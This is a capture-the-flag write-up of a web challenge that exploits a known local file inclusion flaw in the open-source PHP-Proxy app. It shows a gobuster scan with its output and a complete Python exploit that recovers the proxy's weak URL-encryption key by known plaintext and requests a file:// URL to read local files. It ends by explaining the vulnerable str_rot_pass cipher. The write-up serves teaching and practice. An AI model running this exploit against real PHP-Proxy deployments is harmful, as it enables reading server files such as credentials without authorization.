Space Station
N-day Local File Inclusion (LFI) vulnerability in PHP-Proxy.

Description

Where do you want to go?
http://20.198.209.142:55047
The flag is in the flag format: STC{...}
Author: zeyu2001

Solution

Going to the given site only shows Hello Mars!.
​
Performing a simple directory busting scan, we find some interesting information.
1
└─# gobuster dir -u http://20.198.209.142:55047/ -w /usr/share/dirb/wordlists/common.txt -k -x .txt,.php --threads 10
2
===============================================================
3
Gobuster v3.0.1
4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
5
===============================================================
6
[+] Url: http://20.198.209.142:55047/
7
[+] Threads: 10
8
[+] Wordlist: /usr/share/dirb/wordlists/common.txt
9
[+] Status codes: 200,204,301,302,307,401,403
10
[+] User Agent: gobuster/3.0.1
11
[+] Extensions: txt,php
12
[+] Timeout: 10s
13
===============================================================
14
2021/07/23 23:06:33 Starting gobuster
15
===============================================================
16
/.hta (Status: 403)
17
/.hta.php (Status: 403)
18
/.hta.txt (Status: 403)
19
/.htpasswd (Status: 403)
20
/.htpasswd.txt (Status: 403)
21
/.htpasswd.php (Status: 403)
22
/.htaccess (Status: 403)
23
/.htaccess.txt (Status: 403)
24
/.htaccess.php (Status: 403)
25
/app (Status: 301)
26
/flag.txt (Status: 403)
27
/index.php (Status: 200)
28
/index.php (Status: 200)
29
/server-status (Status: 403)
30
===============================================================
31
2021/07/23 23:06:52 Finished
32
===============================================================
Copied!
We find a /flag.txt, but we cannot view it. Let's keep in mind that the flag is in web root for now.
Going to /app gives us a web proxy application.
We can enter any URL, and the corresponding page will be rendered on our browser. At the bottom of the page, we find that this application is "Powered by PHP-Proxy" and a link is given.
This link leads us to the GitHub repository, where a search for Issues containing the word "vulnerability" yields several results.
A currently open and unfixed issue is that PHP-Proxy (all versions) suffers from a Local File Inclusion (LFI) vulnerability: https://github.com/Athlon1600/php-proxy-app/issues/135. We can also find more details here: https://github.com/0xUhaw/CVE-Bins/tree/master/PHP-Proxy​

The Exploit

The exploit script is already provided in the GitHub issue above.
1
import requests
2
import base64
3
​
4
def encrypt(plaintext, key):
5
key_length = len(key)
6
key_as_int = [ord(i) for i in key]
7
plaintext_int = [ord(i) for i in plaintext]
8
ciphertext = []
9
for i in range(len(plaintext_int)):
10
value = (plaintext_int[i] + key_as_int[i % key_length]) % 256
11
ciphertext.append(value)
12
return bytes(ciphertext)
13
​
14
def calculate_key(ciphertext, plaintext):
15
key = []
16
for i in range(0, len(ciphertext)):
17
if ciphertext[i] - ord(plaintext[i]) < 0:
18
key.append(chr(ciphertext[i] - ord(plaintext[i]) + 256))
19
else:
20
key.append(chr(ciphertext[i] - ord(plaintext[i])))
21
​
22
return "".join(key[:32])
23
​
24
def exploit(url, file_to_read):
25
r = requests.post(url + '/index.php', data={'url': 'http://aaaaaaaaaaaaaaaaaaaaaaaaaaa.com'}, allow_redirects=False)
26
​
27
b64_url_ciphertext = r.headers['location'].split('?q=')[1]
28
b64_url_ciphertext = b64_url_ciphertext + "=" * (len(b64_url_ciphertext) % 4)
29
url_ciphertext = base64.b64decode(b64_url_ciphertext)
30
url_plaintext = 'http://aaaaaaaaaaaaaaaaaaaaaaaaaaa.com'
31
​
32
key = calculate_key(url_ciphertext, url_plaintext)
33
return requests.get(url + '/index.php', params={'q': base64.b64encode(encrypt(file_to_read, key))}).text
34
​
35
print(exploit('http://20.198.209.142:55047/app', 'file:///var/www/html/flag.txt'))
Copied!
Running the script gives us the flag, STC{l0cal_f1l3_1nclus10n_328d47c2ac5b2389ddc47e5500d30e04}
To understand why the exploit works, read on below!

The Vulnerability

When visiting a page through PHP-Proxy, the q= parameter is used. This is the URL we are visiting, encrypted using an app key in the package configuration.
The encryption key is generated as follows:
1
Config::set('encryption_key', md5(Config::get('app_key').$_SERVER['REMOTE_ADDR']));
Copied!
The URL is encrypted as follows:
1
$url = str_rot_pass($url, $key);
Copied!
The following encryption function is not secure enough. It simply takes every character of the key and adds it to the original plaintext. Since we know both the plaintext (the original URL) and the ciphertext (the q= parameter), we can easily reverse-engineer the key.
1
// rotate each string character based on corresponding ascii values from some key
2
function str_rot_pass($str, $key, $decrypt = false){
3
​
4
// if key happens to be shorter than the data
5
$key_len = strlen($key);
6
​
7
$result = str_repeat(' ', strlen($str));
8
​
9
for($i=0; $i<strlen($str); $i++){
10
​
11
if($decrypt){
12
$ascii = ord($str[$i]) - ord($key[$i % $key_len]);
13
} else {
14
$ascii = ord($str[$i]) + ord($key[$i % $key_len]);
15
}
16
​
17
$result[$i] = chr($ascii);
18
}
19
​
20
return $result;
21
}
Copied!
Then, after getting the key, it is simply a matter of encrypting file:///var/www/html/flag.txt since the file:// protocol is not explicitly banned.
Last modified 5mo ago